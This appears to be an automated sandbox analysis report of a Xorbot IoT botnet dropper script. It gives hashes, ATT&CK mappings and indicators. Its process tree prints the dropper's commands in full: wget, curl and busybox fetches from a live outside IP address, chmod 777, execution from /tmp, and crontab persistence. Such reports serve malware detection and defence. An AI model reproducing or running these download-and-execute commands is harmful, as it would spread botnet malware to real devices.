xorbot | 04395ad444da152645554affea085999878fe2808aecd53798bd73c2b5a10d50

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02-12-2024 19:07

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General

Target

bins.sh
Size

10KB
MD5

0b5635532d2f1fa548c3a52df6cafeb3
SHA1

28fad0a1c84fa6e72b1212c0ac1324440c690b1a
SHA256

04395ad444da152645554affea085999878fe2808aecd53798bd73c2b5a10d50
SHA512

ce1b43efa4c05530b1e6cd86b6d02519bce2048be45bf0c61f59028ebd8a3aca058c4c3d827401cd1e5d5433ab3bc595204472266f880252124a1673e4e94ce7
SSDEEP

192:oDuwScugogdt0DVY5BLMQIguwScugog3Z5BLMQw:oNaDVY5BLMQI45BLMQw

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (795) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
706	chmod
743	chmod
793	chmod
695	chmod

Executes dropped EXE 4 IoCs

Processes:

kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatLZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFIp33qkY1gklk5rgaxEEe52mbg2OzLbdg0oHY4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

ioc	pid	Process
/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	696	kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	708	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH	745	p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb	794	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

Renames itself 1 IoCs

Processes:

Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

pid	Process
795	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.v9nFYM	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lbcurlcrontab

description	ioc	Process
File opened for reading	/proc/7/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/9/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/136/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/816/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/834/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/22/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/880/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/832/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/853/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/893/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/817/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/851/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/454/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/825/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/931/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/465/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/886/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/808/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/924/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/932/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/658/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/862/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/881/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/353/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/863/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/877/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/894/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/813/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/616/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/879/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/820/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/855/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/915/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/827/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/835/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/837/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/1/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/6/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/664/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/849/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/868/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/13/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/29/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/858/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/904/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/908/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/204/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/912/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/16/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/882/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/11/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/821/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/845/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/283/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/897/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/806/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/18/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/25/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/909/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/921/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/803/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
File opened for reading	/proc/873/cmdline	Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetwgetcurlbusyboxwgetcurlcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	busybox
File opened for modification	/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH	wget
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	wget
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	curl
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	busybox
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	wget
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	curl
File opened for modification	/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH	curl
File opened for modification	/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH	busybox
File opened for modification	/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb	wget
File opened for modification	/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb	curl
File opened for modification	/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:661
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:669
- /usr/bin/wget
  wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Writes file to tmp directory
  PID:671
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  ./kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Executes dropped EXE
  PID:696
- /bin/rm
  rm kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  PID:698
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Writes file to tmp directory
  PID:699
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:700
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Writes file to tmp directory
  PID:703
- /bin/chmod
  chmod 777 ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  ./ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Executes dropped EXE
  PID:708
- /bin/rm
  rm ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  PID:710
- /usr/bin/wget
  wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  ./p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  PID:747
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod 777 Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  ./Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:794
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:796
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:797
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:798
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:799
- /bin/rm
  rm Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
  2⤵
  PID:804
- /usr/bin/wget
  wget http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
  2⤵
  PID:807

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.v9nFYM

Filesize
210B

MD5
bf7c4f95725fee05d91b4d67c9e493db

SHA1
5577579d1e7e74e01347b5eba5ee493d8c018f78

SHA256
9d4102781ffe557ad3fa5a928768290f4d15dd440ac690737b598e204eee1722

SHA512
f7e750cd101e0c9f552a098aa2d8a7e28efc19a0053de7f88ca6933a57471b8fbee162bc157559496c4a15a781bf8d98c64199b8176bdc24d257e551297cc909

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